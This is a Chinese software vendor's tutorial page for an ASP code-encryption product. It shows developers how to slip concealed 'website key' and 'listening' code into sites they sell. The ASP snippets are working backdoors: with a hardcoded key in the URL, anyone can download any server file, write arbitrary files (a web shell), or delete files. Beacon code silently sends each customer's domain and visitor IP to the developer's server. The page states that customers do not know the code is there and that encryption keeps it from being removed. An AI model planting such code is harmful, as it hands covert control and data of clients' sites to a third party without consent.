ASP加密 - 完美提供ASP代码加密,ASP编译组件,ASP加密,ASPTODLL,ASP封装DLL,ASP文件加密,ASP如何加密,ASP程序加密等服务 - 权威的ASP代码加密软件
 
繁體中文 | 设为首页 | 添加收藏  站内搜索   
 
首页 软件介绍 新闻中心 下载中心 软件注册 加盟合作 技术支持 客户留言
 
查看信息
信息详情

信息正文
 

如何实现“网站钥匙”和“程序监听”功能?

更新日期:[2011-01-04 10:18:00]

“网站钥匙”:顾名思义,是指网站开发者为控制网站的各种运行机制而在网站程序中预留的某些控制代码。一般来说,这些相关控制代码只有网站程序开发者掌控,因此,网站使用客户(指购买网站系统的企业、单位或个人,下同)是不知道该控制代码的。通过该“网站钥匙”功能,网站开发者可以随时对所发布出去正在使用的网站进行如:修改数据库设计、修改网站结构等需要实现的一切功能。

“程序监听”:是指网站开发者利用该功能监听发布出去的网站有多少人在使用、使用在哪些域名或服务器下等信息。
  程序监听功能除了需要在“代码附加功能”中增加相应代码外,还需要一个监听文件进行配合,这个监听文件是不需要对外发布出去的,只能放在管理员自己所属的网站中使用,以便用来接收监听数据。

使用说明:网站要实现某些功能,原理我们都知道,都是在程序中加入相应代码实现的,比如我们软件中的“日期访问控制”功能,是在网站程序中增加了下列代码:

日期访问功能代码:
If Date > CDate("2012-1-1") Then
    Response.Write "对不起,本网站系统使用权限已过期!"
    Response.End
End if

  因此,其它很多功能程序开发者自己就可以在程序中完成,再借助于我们的ASP代码加密工具加密发布即可。由于ASP代码加密工具加密后的代码不可还原的特性,别人也就无法破解或修改这些功能了,从而达到我们的预期目的。
  如何使用这些功能呢?Very easy(非常容易),通过软件中强大的“代码附加”功能即可实现。我们只要在加密时把相关控制代码放入到“代码附加”功能中的代码框中,再对网站加密就可以了。

功能代码:
网站钥匙:

网站钥匙之下载功能
相关功能代码:
<%
On Error Resume Next
   '该下载功能可以下载一切类型的文件,包括ASP文件
   '钥匙:Key=12345678
   '用法:http://www.abc.com/index.asp?Key=12345678&url=/index.asp

   '需要下载的文件名,如/index.asp,不需要域名部分
   DownUrl=Request("url")
  
   if Request("Key")="12345678" then Call downloadFile(DownUrl)
   Function downloadFile(strFile)
   strFilename = server.MapPath(strFile)
   Response.Buffer = True
   Response.Clear
   Set D_as = Server.CreateObject("ADODB.Stream")
   D_as.Open
   D_as.Type = 1
   Set D_fso = Server.CreateObject("Scripting.FileSystemObject")
   if Not D_fso.FileExists(strFilename) then
      Response.write "文件不存在!"
      Response.End
   end if
   Set D_f = D_fso.GetFile(strFilename)
   intFilelength = D_f.size
   D_as.LoadFromFile(strFilename)
   if err then
      Response.Write("下载错误:" & err.Description)
      Response.End
   end if
   Response.AddHeader "Content-Disposition", "attachment; filename=" & D_f.name
   Response.AddHeader "Content-Length", intFilelength
   Response.CharSet = "UTF-8"
   Response.ContentType = "application/octet-stream"
   Response.BinaryWrite D_as.Read
   Response.Flush
   D_as.Close
   Set D_as = Nothing
End Function
%>

网站钥匙之文件生成功能
相关功能代码:
<%
'钥匙:Key=12345678
'用法:http://www.abc.com/index.asp?Key=12345678

On Error Resume Next
If Request("Key")="12345678" Then
   Response.write "<form name=FORM action=?Admin=DO method=post><p align='center'>文件名称:<input type='text' name='T1' size='69'><br>文件内容:<textarea name='S1' rows='11' cols='67'></textarea><br><input type=submit name=submit value=在线建立文件></p></form>"
End If
If request("Admin")="DO" Then
   Dim T1
   T1=Request("T1")
   FilePath=Server.Mappath(T1)
   set M_fso=server.createobject("Scripting.filesystemobject")
   set Mc_fso=M_fso.createtextfile(FilePath,true)
   Mc_fso.Write Request("S1")
   set Mc_fso=nothing
   set M_fso=nothing
   Response.write "<a href='" & T1 & "'>" & T1 & "</a> 文件成功生成!"
End if
%>

网站钥匙之文件删除功能
相关功能代码:
<%
'钥匙:Key=12345678
'用法:http://www.abc.com/index.asp?Key=12345678

On Error Resume Next
If Request("Key")="12345678" Then
   Response.write "<form name=FORM action=?Admin=DO method=post>文件名称:<input type='text' name='T1' size='69'><br><input type=submit name=submit value=在线删除文件></form>"
End If
If request("Admin")="DO" Then
    dim T1
    T1=Request("T1")
    Set D_fso = Server.CreateObject("Scripting.FileSystemObject")
    D_fso.DeleteFile(Server.Mappath(T1))
    Set D_fso=Nothing
    Response.write T1 & "</a> 文件成功删除!"
End if
%>

程序监听:
程序监听之域名监听
附:管理员监听文件Listen.rar
相关功能代码:

<%
'程序开发者用于监听的URL
ListenUrl="http://www.admin.com/listen.asp"

SendDate ListenUrl & "?Data=" & Request.ServerVariables("Server_Name")
Sub SendDate(url)
   Set L_mxh = Server.CreateObject("Microsoft.XMLHTTP")
   L_mxh.Open "Get", url, False, "", ""
   L_mxh.Send
   Set L_mxh = Nothing
End Sub
%>

程序监听之服务器监听
附:管理员监听文件Listen.rar
相关功能代码:

<%
'程序开发者用于监听的URL
ListenUrl="http://www.admin.com/listen.asp"

SendDate ListenUrl & "?Data=" & Request.ServerVariables("HTTP_X_FORWARDED_FOR")
Sub SendDate(url)
   Set L_mxh = Server.CreateObject("Microsoft.XMLHTTP")
   L_mxh.Open "Get", url, False, "", ""
   L_mxh.Send
   Set L_mxh = Nothing
End Sub
%>

好了,现在只要把上面的相关代码复制到“代码附加”功能中去,就可实现相关功能了,大家可以举一反三,利用强大的“代码附加”完全可以实现适合您需要的任何功能。


 
 
 

版权所有 © 江西省数联网络技术有限公司  地址:江西省南昌市金庐软件开发中心620室  电话:0791-88110796  传真:0791-86910378
您是第3624878位访客,共有3位访客在线,页面耗时:0.031
本站支持RSS订阅RSS订阅帮助